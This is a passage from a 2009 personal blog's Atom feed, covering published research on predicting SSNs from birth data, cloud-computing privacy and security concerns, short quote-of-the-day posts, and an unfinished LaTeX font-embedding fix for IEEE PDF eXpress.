forgot to carry my bank card which has the bank account number. So I had to show/prove the possession of other credentials. After getting a photo ID of mine, the next thing the operator asked from me is my DoB. Imagine now someone faking my photo ID and having my DoB listed online, walk to the counter. What does it prevent that someone from withdrawing money from my account?&lt;br /&gt;&lt;br /&gt;There are even greater consequences; There have been research suggesting correlation of public information to your SSN number. SSN number is confidential information; only certain service providers such as bank, rental office, insurance company, utility providers, know it; leaking it could be a disaster.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/Sxh7Xggs2DI/AAAAAAAACDU/MnuxdYeb-Nc/s1600-h/ssacard.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 288px; height: 168px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/Sxh7Xggs2DI/AAAAAAAACDU/MnuxdYeb-Nc/s320/ssacard.gif" alt="" id="BLOGGER_PHOTO_ID_5411210596079949874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Recently, &lt;a href="http://www.pnas.org/content/106/27/10975.full.pdf+html"&gt;researchers from CMU have cleverly shown&lt;/a&gt; that one can narrow down the possible SSN numbers an individual can have using public information available. If the attacker knows your DoB and location, they can guess your SSN with high probability:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Information about an individual’s place and date of birth can be exploited to predict his or her Social Security number (SSN). Using only publicly available information, we observed a correlation between individuals’ SSNs and their birth data and found that for younger cohorts the correlation allows statistical inference of private SSNs. The inferences are made possible by the public availability of the Social Security Administration’s Death Master File and the widespread accessibility of personal information from multiple sources, such as data brokers or profiles on social networking sites. Our results highlight the unexpected privacy consequences of the complex interactions among multiple data sources in modern information economies and quantify privacy risks associated with information revelation in public forums.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SSN has the format xxx-xx-xxxx (Area Number (AN) - Group Number (GN) - Serial Number (SN)); AN and GN are location specific and anyone can get the list of numbers assigned in each state. This reduces the entropy as some level of randomness is sacrificed. You might wonder why AN and GN are predictable? Well, one reason might be that it could be helpful to identify impostors by checking based on the location of the person that she provides.&lt;br /&gt;&lt;br /&gt;Here's a pattern that they have discovered (from the paper):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/Sxh1XUQLNmI/AAAAAAAACDM/qM-R9UNguKI/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 254px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/Sxh1XUQLNmI/AAAAAAAACDM/qM-R9UNguKI/s320/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5411203995719644770" border="0" /&gt;&lt;/a&gt;The above figure shows the distribution of AN, GN and SN number (y-axis) in Oregon in 1996 for some publicly available records. The x-axis is the 365 days which represent the DoB's of those people in the records. Notice the correlations.&lt;br /&gt;&lt;br /&gt;The paper also mentions about the dramatic reduction of entropy of the SSN numbers. (For better security you need to have higher entropy. If you can inject more randomness, you get higher entropy and it becomes less predictable.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Without auxiliary knowledge, the theoretical entropy of an SSN can be estimated at 30 bits (in log2).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The more granular knowledge of the assignment scheme that we have shown to be inferrable significantly decreases that entropy (for some states, down to 11 bits).&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/Sxh8YkOyBHI/AAAAAAAACDs/YwOJfT3IpOw/s1600-h/entropy.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 281px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/Sxh8YkOyBHI/AAAAAAAACDs/YwOJfT3IpOw/s320/entropy.jpg" alt="" id="BLOGGER_PHOTO_ID_5411211713770030194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The point is that one piece of information alone may not be an interesting asset to an attacker and hence you may think it is safe. However, it is the correlation of different pieces that makes attackers life easier. With social networks and other online web sites booming, different pieces of our personal information are available through different locations. These public information could be used by attackers to engineer attacks which we may not imagine in our wildest  possible dreams. (In short, the more public information available about us, the less entropy for our confidential information.)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/Sxh7tE2dpII/AAAAAAAACDc/1daf6vImRwA/s1600-h/social-networking-logos3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/Sxh7tE2dpII/AAAAAAAACDc/1daf6vImRwA/s320/social-networking-logos3.jpg" alt="" id="BLOGGER_PHOTO_ID_5411210966612157570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Note: It would be much better for me from the security PoV to completely hide my birthday in FB. You might be wondering why I am not doing so; privacy is a strange thing; it is an economic good; it has trade-offs. I currently perceive that the benefits over-weighs the threats :-)&lt;br /&gt;(Maybe I'll write about the privacy economy in a future blog; there has been a lot of research in this topic for quite some time.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3078260532249011711?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3078260532249011711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3078260532249011711' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3078260532249011711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3078260532249011711'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/why-i-dont-have-dob-listed-in-fb.html' title='Why I don&apos;t have the DoB listed in FB?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tMhXppp4NpE/Sxh78bv6Y-I/AAAAAAAACDk/6_K2L00terI/s72-c/Social+Networking+Image.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3733280779281738846</id><published>2009-11-20T10:28:00.004-05:00</published><updated>2009-11-20T10:33:37.469-05:00</updated><title type='text'>Thought of the day</title><content type='html'>&lt;a href="https://www.psychologytoday.com/blog/dont-delay/200803/just-get-started"&gt;Just get started&lt;/a&gt;! (From &lt;a href="https://www.psychologytoday.com/blog"&gt;one of the blogs&lt;/a&gt; I regularly read; I love to know the psychology behind how we act/react/perceive, etc.)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/Swa2hL8u6LI/AAAAAAAACB8/UAFvYRaTfE8/s1600/start.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 150px; height: 150px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/Swa2hL8u6LI/AAAAAAAACB8/UAFvYRaTfE8/s320/start.jpg" alt="" id="BLOGGER_PHOTO_ID_5406209083964319922" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3733280779281738846?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3733280779281738846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3733280779281738846' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3733280779281738846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3733280779281738846'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/11/thought-of-day_20.html' title='Thought of the day'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/Swa2hL8u6LI/AAAAAAAACB8/UAFvYRaTfE8/s72-c/start.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1329947787239439344</id><published>2009-11-19T19:14:00.003-05:00</published><updated>2009-11-19T19:45:31.164-05:00</updated><title type='text'>Thought of the day</title><content type='html'>&lt;span style="font-style: italic;"&gt;"A man who has one finger pointing at another has three pointing towards himself"&lt;/span&gt; ~ A Nigerian proverb&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/SwXgIdPx8pI/AAAAAAAACB0/EhyNM8jc6X4/s1600/finger_pointing.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 298px; height: 320px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/SwXgIdPx8pI/AAAAAAAACB0/EhyNM8jc6X4/s320/finger_pointing.jpg" alt="" id="BLOGGER_PHOTO_ID_5405973363622539922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;We are not perfect; we make mistakes; sometimes things don't work out the way we want; they simply go wrong. Think about a team work that didn't work out. We usually have the tendency to look outside of ourselves to put the blame on something or someone, don't we? Couldn't the outcome be different had you played a different role? Most importantly is it going to help pointing at something or someone? Probably not. Think about the above proverb before you point your fingers next time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1329947787239439344?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1329947787239439344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1329947787239439344' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1329947787239439344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1329947787239439344'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/11/thought-of-day_19.html' title='Thought of the day'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tMhXppp4NpE/SwXgIdPx8pI/AAAAAAAACB0/EhyNM8jc6X4/s72-c/finger_pointing.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6891791700434602035</id><published>2009-11-18T12:22:00.003-05:00</published><updated>2009-11-18T12:40:52.033-05:00</updated><title type='text'>Thought of the day</title><content type='html'>&lt;span class="text"&gt;&lt;span style="font-style: italic;"&gt;"Great minds discuss ideas. Average minds discuss events. Small minds discuss people."&lt;/span&gt; ~&lt;a href="http://en.wikipedia.org/wiki/Eleanor_Roosevelt"&gt;Eleanor Roosevelt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/SwQuNGlCWII/AAAAAAAACBs/PAwgRl44Wxg/s1600/detail-adies-roosevelt.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 211px; height: 320px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/SwQuNGlCWII/AAAAAAAACBs/PAwgRl44Wxg/s320/detail-adies-roosevelt.png" alt="" id="BLOGGER_PHOTO_ID_5405496255390570626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;You have a great mind if you don't make fun of or thrash others (for your own petty advantage).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6891791700434602035?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6891791700434602035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6891791700434602035' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6891791700434602035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6891791700434602035'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/11/thought-of-day.html' title='Thought of the day'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tMhXppp4NpE/SwQuNGlCWII/AAAAAAAACBs/PAwgRl44Wxg/s72-c/detail-adies-roosevelt.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-757850986182411192</id><published>2009-11-16T16:53:00.038-05:00</published><updated>2009-11-17T09:36:53.065-05:00</updated><title type='text'>Clouds and Storms [Part 1]</title><content type='html'>Decoded title: Security/Privacy issues in the Cloud (from the PoV of &lt;a href="http://en.wikipedia.org/wiki/Utility_computing"&gt;utility computing&lt;/a&gt;)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/SwKrEdHVAJI/AAAAAAAACBk/FPnH0R1zBxE/s1600/cloudsec.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 298px; height: 242px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/SwKrEdHVAJI/AAAAAAAACBk/FPnH0R1zBxE/s320/cloudsec.png" alt="" id="BLOGGER_PHOTO_ID_5405070595821207698" border="0" /&gt;&lt;/a&gt;The objective of this post is to raise awareness about possible privacy/security issues that may arise in cloud computing paradigm - if you are a security researcher, where you may want to focus on; if you are a cloud provider, what you need to safeguard against and what customers would be expecting, if you're a cloud user (technical/non-technical), what you can expect and what you can do about it in order to minimize the risks.&lt;br /&gt;&lt;br /&gt;(Note that there could also be security benefits of moving to the clouds, as opposed to maintaining your own infrastructure. For example, the clouds may provide more secured infrastructure and also can afford to provide expertise in security which may not be a viable option especially for small-medium businesses. Also, the virtual machines deployed may be better configured and virtualization inherently provides a certain level of security.)&lt;br /&gt;&lt;br /&gt;As we all know, there is, in general, a gap between the research solutions and the industry implemented solutions; it is partly due to the fact that some elegant theoretical solutions (published even in top conferences or journals) are not practical.  However, there are very many useful research that could well be utilized; they are not implement for one reason or another. One of the main reason is that most of businesses/agencies/users don't see a ROI on having security/privacy because the effect is not immediate. I'd also like to encourage in this post to think about security/privacy up front, no matter which stakeholder you are.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/SwKq8xCYfGI/AAAAAAAACBc/R_NhM06dP-Y/s1600/clouds-0012.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 200px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/SwKq8xCYfGI/AAAAAAAACBc/R_NhM06dP-Y/s320/clouds-0012.gif" alt="" id="BLOGGER_PHOTO_ID_5405070463730220130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It is not a secret that &lt;a href="http://en.wikipedia.org/wiki/Cloud_computing"&gt;cloud computing&lt;/a&gt; is getting a lot of attention these days.&lt;span style="font-style: italic;"&gt; &lt;/span&gt;I think that the economies of scale (or the on demand elasticity) is the biggest drive for this compared to conventional IT outsourcing - money matters!. You can pay for the amount of storage you use or the amount of computational power you use. Not only businesses but also government agencies are moving to what appears to be the current big thing. (wonder what the next big thing might be?)&lt;br /&gt;&lt;br /&gt;If you can relate to, for example, Amazon EC2, S3, Google Apps, free email services, chat serivies, Yahoo pipes, flickr, facebook, youtube, hulu, Zoho, 3Tera Applogic, etc. you are living in the cloud! irrespective of whether it's free, consumption based or subscription based. It's pretty much everything we currently do (I am not a big fan of cloud defintions; further there are disagreements about the origin of clouds [4] which I am not going to look at here).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Quote:&lt;span style="font-style: italic;"&gt;&lt;br /&gt;The Pew Internet &amp;amp; American Life Project released survey results in September 2008 reporting that 69 percent of Americans who are online use Web-based e-mail, store data or use software applications over the Internet. In October 2008, the market research firm IDC forecast that spending on IT cloud services would reach $42 billion by 2012&lt;/span&gt; [2].&lt;br /&gt;&lt;br /&gt;Let me start the $subject with the following quote:&lt;br /&gt;&lt;span style="font-style: italic;" id="articleBody"&gt;"Privacy and security are the number one concern of organizations that are thinking about going into the cloud space." said &lt;/span&gt;&lt;span id="articleBody"&gt;&lt;span style="font-style: italic;"&gt;Brendon Lynch, senior director of privacy strategy for Microsoft's trustworthy computing group&lt;/span&gt; [1].&lt;br /&gt;&lt;br /&gt;What are these privacy/security concerns? The rest of the post aims to look into them. As we know, &lt;/span&gt;&lt;span class="text14-black"&gt;privacy/security can only be as good as its weakest link. &lt;/span&gt;The goal is to identify those weakest links.&lt;br /&gt;&lt;span id="articleBody"&gt;&lt;br /&gt;&lt;br /&gt;In all cloud arrangements (SaaS, PaaS or IaaS), your data end up being in someone else's hand outside of your security perimeter. &lt;/span&gt;(I am still a free cloud user; I use gmail a lot, upload my documents to Google Apps, occasionally share some photos in Yahoo Flickr, share in Facebook - I don't know where all my online data, including sensitive data, physically reside - but my desire to have the data available from anywhere and to connect with people, has overridden the perceived risks.) &lt;span id="articleBody"&gt;Is the issue new? Not really. Well before the current clouds, there have been services to outsource network storage, databases, host web sites and IT services which also move your data out of your organization. What's different here? I see the following differences.&lt;br /&gt;&lt;br /&gt;1. In clouds, we know that the data reside in one or more data centers, but we don't know which ones - not limited by space or geography. What are the legal/privacy/security implications?&lt;br /&gt;2. Oursourcing has never been this cheap; an incentive to use the cloud which is not the case with the traditional outsourcing. What could go wrong, if it becomes perversive?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Does the locality of the data in the cloud matter? No physical boundary is an interesting outcome of the cloud. Note that different countries have their own legal framework. For example, data protection laws in US are very different from those in european countries (EU is more strict). In other words, depending on the locality of your data, you'll have different expectation of privacy. If a company X resides in a EU country, but their customers are mainly from USA. Due to differences in legal protections, I am not sure if X (consumer of the cloud) can ask the cloud provider to host their data/service in USA. Even if it is allowed, does X make an informed decision? Since the data resides closer to customers, it would be fast to access them; but what about security/privacy protection? If there's a data breach, in USA there will be less protection compared to EU. [On a positive note, inability to trace to a specific location is good thing from the security PoV; this provides some level of anonymity; if the attacker does not know where the target is, they have nothing to attack at]&lt;br /&gt;&lt;br /&gt;How can a cloud provider efficiently identify if a consumer sticks with the terms of service (e.g: &lt;a href="http://aws.amazon.com/agreement/#11"&gt;AWS ToS&lt;/a&gt; prohibits illegal uses)? Further, if a consumer uses the cloud services in a way that threatens, say, national security, but the cloud provider is unaware of it, who is held liable for the threat? Consumer or service provider or both? Extensive work on anomaly detection in the IDS research area could be very useful in this regard. Even if there are good anomaly detection techniques available, how do we define anomalous patterns in the cloud?&lt;br /&gt;&lt;br /&gt;Can misbehaving consumers affect the benign ones? AFAIK, many cloud providers use Xen virtual machines. However, unless you pay extra, you, as a consumer, have to share the same physical machine or even same virtual machine. Virtualization techniques provide certain level of insulation, but I am sure there is an increased interest in this area as way of improving security in the context of cloud computing.&lt;br /&gt;&lt;br /&gt;How long can a cloud provider retain my data after deleting? Also, once you put your data in someone else's facility, can you ever be sure of that they removed it completely? Deleting data once you indicate to the provider the intension is trivial if the provider manages only a few consumers. However, with the exploding use of the clouds, this has become a challenging problem. The report by &lt;/span&gt;&lt;em class="author"&gt;Joseph Bonneau&lt;/em&gt; backs up this with the results from real applications [6]. For performance reasons, most of the providers delete them just like how the recycle bin works in your computer.  For example, facebook retention policies say that &lt;span style="font-style: italic;"&gt;"When you update information, we usually keep a backup copy of the prior version for a reasonable period of time to enable reversion to the prior version of that information"&lt;/span&gt;. Like facebook, most of the vendors do not give a specific time about how long they retain your data in order to prevent legal actions against them. Clouds are increasingly used to store PII (Personally Identifiable Information) and the failure to delete them promptly could violate user privacy when the PII is available long enough for an attacker to obtain. It is a challenging task for cloud providers to balance performance and privacy/security in this regard - architecture/design should consider these concerns together, not in isolation. For consumers, it is better to choose a provider that provides quantitative/better claims about data retention period in their policies.&lt;br /&gt;&lt;br /&gt;How can the cloud live up to the perimeter security expectations of consumers? Nico Popp at VeriSign raises the interesting question "&lt;span style="font-style: italic;"&gt;what does perimeter security mean when the perimeter extends beyond the familiar boundaries of today's corporate network?&lt;/span&gt;" [7] In the current conventional setting, enterprises have their perimeter security controls (firewalls, IDS, etc.) placed in-premise either managed by themselves or outsourced; they protect the enterprise infrastructure, data from malicious traffic, malwares, unauthorized accesses, etc. With cloud computing, enterprises mobile users will be accessing organization's resources without going through the in-house perimeter security controls. It should be clear that the cloud computing create the need to have a some kind of proxy sitting between the cloud and the mobile users. Who should provide this proxy service? One approach is to have cloud providers, such as  Google App engine, Microsoft Azure or Amazon EC2, themselves provide a security layer over the cloud. This may require them to go beyond their core competencies. An attractive solution is to provide Security-as-a-Service by third party who already has expertise in conventional perimeter security. In fact, Gartner predicts that &lt;span lang="EN-US"&gt;by 2013 cloud-based services in messaging security controls will account for 60 percent of revenue [9]. &lt;/span&gt;For example, &lt;a href="http://www.zscaler.com/"&gt;Zscalar&lt;/a&gt; does exactly that. The following diagram shows how it works:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/SwKqL4q2fLI/AAAAAAAACBU/y6tTBwJdpWE/s1600/howitsworks.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 122px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/SwKqL4q2fLI/AAAAAAAACBU/y6tTBwJdpWE/s320/howitsworks.png" alt="" id="BLOGGER_PHOTO_ID_5405069623965416626" border="0" /&gt;&lt;/a&gt;(Courtesy: Zscalar)&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;Can enterprises let go of in-premise perimeter controls? They will still need to have some control in place. This brings the burden of having two sets of security controls in place (cost, management, etc.). Can we combine these two together? What are the challenges in doing so?&lt;br /&gt;[On a positive note, there have been some research indicating that computers can be better protected against viruses if the anti-virus software is move to the cloud [10]].&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="articleBody"&gt;In Part 2, I am hoping to discuss about the ownership of data, the control, what you can expect from free and commercial cloud services and some generic issues such as confidentiality and integrity (in light of insider attacks). So stay tuned. And feel free to comment/criticize/correct anything I have mentioned here.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;References:&lt;br /&gt;[1] &lt;a href="http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=221600544"&gt;http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=221600544&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://www.govtech.com/gt/727301?topic=117671"&gt;http://www.govtech.com/gt/727301?topic=117671&lt;/a&gt;&lt;br /&gt;[3] &lt;a href="http://download.microsoft.com/download/0/0/0/00086F81-BBD5-43B4-AEB1-D32D30E9C8F7/cloud_privacy_wp_102809.pdf"&gt;Privacy in the Cloud Computing Era - A Microsoft Perspective&lt;/a&gt;&lt;br /&gt;[4] &lt;a href="http://www.cerias.purdue.edu/site/blog/post/a_quick_note_about_cloud_computing/"&gt;http://www.cerias.purdue.edu/site/blog/post/a_quick_note_about_cloud_computing/&lt;/a&gt;&lt;br /&gt;[5] &lt;a href="http://blogs.cisco.com/security/comments/data_security_and_the_cloud/"&gt;http://blogs.cisco.com/security/comments/data_security_and_the_cloud/&lt;/a&gt;&lt;br /&gt;[6] &lt;a href="http://www.lightbluetouchpaper.org/2009/05/20/attack-of-the-zombie-photos/"&gt;http://www.lightbluetouchpaper.org/2009/05/20/attack-of-the-zombie-photos/&lt;/a&gt;&lt;br /&gt;[7] &lt;a href="http://blogs.verisign.com/innovation/2009/06/are_clouds_of_change_looming_o.php"&gt;http://blogs.verisign.com/innovation/2009/06/are_clouds_of_change_looming_o.php&lt;/a&gt;&lt;br /&gt;[8] &lt;a href="http://www.technologyreview.com/computing/21303/"&gt;http://www.technologyreview.com/computing/21303/&lt;/a&gt;&lt;br /&gt;[9] &lt;a href="http://www.gartner.com/it/page.jsp?id=722307"&gt;http://www.gartner.com/it/page.jsp?id=722307&lt;/a&gt;&lt;br /&gt;[10] &lt;a href="http://www.eecs.umich.edu/fjgroup/cloudav/"&gt;http://www.eecs.umich.edu/fjgroup/cloudav/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-757850986182411192?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/757850986182411192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=757850986182411192' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/757850986182411192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/757850986182411192'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/11/clouds-and-storms-part-1.html' title='Clouds and Storms [Part 1]'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/SwKrEdHVAJI/AAAAAAAACBk/FPnH0R1zBxE/s72-c/cloudsec.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1490743281549381290</id><published>2009-10-18T10:29:00.006-04:00</published><updated>2009-10-18T11:41:30.279-04:00</updated><title type='text'>Fixing "font not embedded" issue to pass the IEEE PDF eXpress check</title><content type='html'>We recently had to make the format of a paper complaint with the &lt;a href="http://www.pdf-express.org/"&gt;IEEE PDF eXpress&lt;/a&gt; format. The paper did not pass the check in the first few attempts. Hence this blog post. I'd like to thank my colleague Ning Shang who did the most of the fixes to get it working. I  am listing the fixes here so that anyone else who encountered similar issues may find this post useful.&lt;br /&gt;&lt;br /&gt;Before that, I work on Ubuntu 9.04, kile 2.1 (the IDE), use the tools latex, bibtex and dvipdf to generate pdf files from tex/bib/cls files. (i.e. latex file.tex; bibtex file; (to attach the ref.bib file) latex file.tex; dvipdf file.dvi to finally get file.pdf)&lt;br /&gt;&lt;br /&gt;The tex file uses the IEEE conference style. Additionally we used the following packages initially:&lt;br /&gt;times, epsfig, graphicx, url, verbatim, amsmath, amsfonts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Issue #1: Document contains bookmarks&lt;br /&gt;Fix: We had to remove the url package from the included packages lists and convert \url{address} to {address} in ref.bib.&lt;br /&gt;&lt;br /&gt;Issue #2: Font Times-Italic, Times-Roman, Times-BoldItalic, Times-Bold, Helvetica, Courier is not embedded.&lt;br /&gt;&lt;br /&gt;You can see what fonts are embedded and what are not, by using "pdffont file.pdf" and looking at the "emb" column. In our case, it did show that some fonts are not embedded.&lt;br /&gt;&lt;br /&gt;Fix: We searched the Internet [&lt;a href="http://www.usenix.org/events/samples/latex_tips.html"&gt;1&lt;/a&gt;, &lt;a href="https://mail.cs.drexel.edu/pipermail/unix-dev/2005-June/000875.html"&gt;2&lt;/a&gt;]and found that in order to fix this (i.e. to embed all the required fonts) we need to do the conversion from tex to  pdf in two stages. This is a dirty hack; but it works.&lt;br /&gt;&lt;br /&gt;latex file.tex&lt;br /&gt;bibtex file&lt;br /&gt;latex file.tex&lt;br /&gt;latex file.tex (Now we have file.dvi)&lt;br /&gt;dvips -Ppdf -G0 -tletter 